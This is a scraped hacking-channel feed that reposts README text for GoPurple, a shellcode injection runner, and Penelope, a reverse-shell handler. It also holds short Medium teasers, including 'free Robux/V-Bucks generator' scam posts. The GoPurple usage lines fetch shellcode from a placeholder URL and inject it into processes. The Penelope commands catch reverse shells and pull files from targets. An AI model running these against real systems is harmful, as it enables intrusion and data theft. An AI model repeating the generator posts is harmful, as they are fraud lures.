Hacking Articles Tips Tricks Videos Tutorials
468 subscribers
65.8K photos
15 videos
157 files
132K links
Exploit
Pentesting
Hacking
Red Team
Blue Team
Kali Linux
Bug Bounty
Black Hat
Cyber security etc

@Hacking_Video
@Hacking_attack
Download Telegram
New Way To Find HTML Injection & Get Easy Bounty !!!

Hello Cybersecurity Researchers,Continue reading on Medium »
Read more...
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux TutorialsGoPurple : Yet Another Shellcode Runner Consists Of Different Techniques For Evaluating Detection Capabilities Of Endpoint Security Solutions
GoPurple is a simple collection of various shell code injection techniques, aiming to streamline the process of endpoint detection evaluation, beside challenging myself to get into Golang world.

Installation

* Requires go installed.

* Build the application from the project’s directory: go build. Set GOOS=windows if the build system is not Windows

_ / | | |
| | _ _ _ _ _ _ _ _ | |
| | |_ |/ _ | ‘_ | | | | ‘| ‘_ | |/ _ \
| || | () | |) | || | | | |) | | /
_____|___/| ./ __,|| | ./||__|
| | | |
|| || by @s3cdev
-a string
Program command line arguments
-b string
block DLL mode (nonms/onlystore for QueueUserAPC )
-p int
Process ID to inject shellcode into
-prog string
program to inject into
-t string
shellcode injection technique to use:
1: CreateFiber
2: syscall
3: CreateThreadNative
4: CreateProcess
5: EtwpCreateEtwThread
6: CreateRemoteThread
7: RtlCreateUserThread
8: CreateThread
9: CreateRemoteThreadNative
10: CreateProcessWithPipe
11: QueueUserAPC
12: CreateThreadpoolWait
13: BananaPhone
14: EnumerateLoadedModules
15: EnumChildWindows
16: EnumPageFilesW
-u string
URL hosting the shellcode

Examples

A shellcode needs to be generated,this can be done using tools such as msfvenom or shad0w. Then the shellcode needs to be hosted to be remotely downloaded and executed on the remote machine. For the sake of clarity, the below demos illustrate different ways of using the tool.

* Shellcode injection using BananaPhone method + Shad0w as the shellcode generator

* Shellcode injection using QueueUserAPC technique + Shad0w as the shellcode generator + spoofing the parent ID (explorer as the parent ID) + process launching by spoofed parent that contains the shellcode(calc) + protecting the process from unsigned DLL hook, so only Microsoft signed DLL can hook into the process.

*  Shellcode injection using CreateFiber + msfvenom as the shellcode generator

How To Use

1 – gopurple.exe -u urlhostingpayload -t 1 (CreateFiber)
2 – gopurple.exe -u urlhostingpayload -t 2 (Syscall)
3 – gopurple.exe -u urlhostingpayload -t 3 (CreateThreadNative)
4 – gopurple.exe -u urlhostingpayload -t 4 (CreateProcess)
5 – gopurple.exe -u urlhostingpayload -t 5 (EtwpCreateEtwThread)
6 – gopurple.exe -u urlhostingpayload -t 6 -p targetprocess (CreateRemoteThread)
7 – gopurple.exe -u urlhostingpayload -t 7 -p targetprocess (RtlCreateUserThread)
8 – gopurple.exe -u urlhostingpayload -t 8 (CreateThread)
9 – gopurple.exe -u urlhostingpayload -t 9 -p targetprocess (CreateRemoteThreadNative)
10 – gopurple.exe -u urlhostingpayload -t 10 -prog porgram -a processargument (ex:C:\Windows\System32\WindowsPowerShell\v1.0) and processargument(ex:Get-Process) (CreateProcessWithPipe)
11 – gopurple.exe -u urlhostingpayload -t 11 -p targetpidasparentprocess -prog programtoinjectshellcodeinto -b methodtoblockdll(nonms or onlystore) (QueueUserAPC)
nonms = only DLLs that are signed by Microsoft can hook into the process
onlystore = only Microsoft store application’s process can hook into the process
12 – gopurple.exe -u urlhostingpayload -t 12 (CreateThreadpoolWait)
13 – gopurple.exe -u urlhostingpayload -t 13 (BananaPhone)
14- gopurple.exe -u urlhostingpayload -t 14 (EnumerateLoadedModules)
15- gopurple.exe -u urlhostingpayload -t 15 (EnumChildWindows)
16- gopurple.exe -u urlhostingpayload -t 16 (EnumPageFilesW)


Download
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux TutorialsPenelope : Shell Handler
Penelope is an advanced shell handler. Its main aim is to replace netcat as shell catcher during exploiting RCE vulnerabilities. It works on Linux and macOS and the only requirement is Python3. It is one script without 3rd party dependencies and hopefully it will stay that way.

Among the main features are:

* Auto-upgrade shells to PTY (auto-resize included)
* Logging interaction with the targets
* Download files from targets
* Upload files to targets
* Upload preset scripts to targets
* Spawn backup shells
* Multiple sessions
* Multiple listeners
* Can be imported by exploits and get shell on the same terminal (see extras)

Penelope can work in conjunction with metasploit exploits by disabling the default handler with set DisablePayloadHandler True

It supports Windows shells but autoupgrade is not implemented yet. However it can accept PTY shells from the excellent project ConPtyShell of @antonioCoco. Autoresize of PTY is implemented.

Sample Basic Usage

penelope.py # Listening for reverse shells on 0.0.0.0:4444
penelope.py 5555 # Listening for reverse shells on 0.0.0.0:5555
penelope.py 5555 -i eth0 # Listening for reverse shells on eth0:5555
penelope.py -c target 3333 # Connect to a bind shell on target:3333

Demonstrating random usage (1)

* Executing penelope without parameters and getting a reverse shell
* Pressing F12 to detach the session and go to the main menu
* Run ‘recon’ command to upload preset privesc scripts to the target
* Interacting again with the session, confirming that scripts are uploaded
* Detaching again with F12 and downloading /etc directory from the target
* Kill the session and exiting with Ctrl-D

Demonstrating random usage (2)

* Adding an extra listener and show all listeners
* Interacting with session 1
* Spawning 2 extra backup sessions
* Showing all sessions

Command Line Options

positional arguments:
PORT Port to listen/connect to depending on -i/-c options. Default: 4444
Reverse or Bind shell?:
-i , –address IP Address or Interface to listen on. Default: 0.0.0.0
-c , –connect Bind shell Host
Hints:
-a, –hints Show sample payloads for reverse shell based on the registered listeners
-l, –interfaces Show the available network interfaces
-h, –help show this help message and exit
Verbosity:
-Q, –silent Show only errors and warnings
-X, –extra-silent Suppress all logging messages
Logging:
-L, –no-log Do not create session log files
-T, –no-timestamps Do not include timestamps on logs
Misc:
-H, –no-history Disable shell history on target
-P, –plain Just land to the menu
-S, –single-session Accommodate only the first created session
-C, –no-attach Disable auto attaching sessions upon creation
-U, –no-upgrade Do not upgrade shells
Debug:
-d, –debug Show debug messages
-NP, –no-python Simulate python absence on target
-NB, –no-bash Simulate bash absence on target

Menu Options

use [sessionID|none]
Select a session
sessions [sessionID]
Show active sessions. When followed by , interact with that
session
interact [sessionID]
Interact with a session
kill [sessionID|all]
Kill a session
download …
Download files and folders from the target
open …
Download files and folders from the target and open them locally
upload …
Upload files and folders to the target. If URL is specified then it is
downloaded locally and then uploaded to the target
recon [sessionID]
Upload preset reconnaissance scripts to the target
spawn [sessionID]
Spawn a new session. Whether it will be reverse or bind, depends on
the current session.
upgrade [sessionID]
Upgrade the session’s shell to “PTY”. If it fails attempts to upgrade
it to “Advanced”. If this fail too, then falls back to “Basic [...]
Hacking Articles Tips Tricks Videos Tutorials
Kali Linux TutorialsPenelope : Shell Handler Penelope is an advanced shell handler. Its main aim is to replace netcat as shell catcher during exploiting RCE vulnerabilities. It works on Linux and macOS and the only requirement is Python3. It is one script…
221; shell.
dir|. [sessionID]
Open the session’s local folder. If no session is selected, opens the
base folder.
listeners [ ]
Add or stop a Listener. When invoked without parameters, it shows the
active Listeners.
connect
Connect to a bind shell
hints
Show sample commands to run on the targets to get reverse shell, based
on the registered listeners
reset
Reset the local terminal
history
Show menu history
help [command]
Show menu help or help about specific command
DEBUG
Open debug console
SET [ ]
Set options. When invoked without parameters it shows current options
exit|quit|q|Ctrl+D
Exit penelope


Download
Hacking on Medium
[FREE ONLINE] Roblox Robux ~ Generator 2021


How To Get Free Robux Generator 2021! The perfect hack tool that generates free Roblox Robux instantly! It’s easy to just enter Username.

Continue reading on Medium »
Hacking on Medium
[FREE ONLINE] Fortnite V-Bucks ~ Generator 2021


How To Get Free V-Bucks Generator 2021! The perfect hack tool that generates free Fortnite V-Bucks instantly! It’s easy to just enter…

Continue reading on Medium »
Hacking on Medium
How to read data stored in RAM?(Memory Forensic)


What is RAM and What data RAM contains?

Continue reading on Medium »
Hacking on Medium
Nüfuzetmə testlərində Windows maşınlara faylların yüklənilməsi (PowerShell)


Hər kəsə salamlar. Bu gün sizlərə nüfuz etmə testləri zamanı Windows maşınlarda faylların asan formada endirilməsi üçün istifadə olunan…

Continue reading on Medium »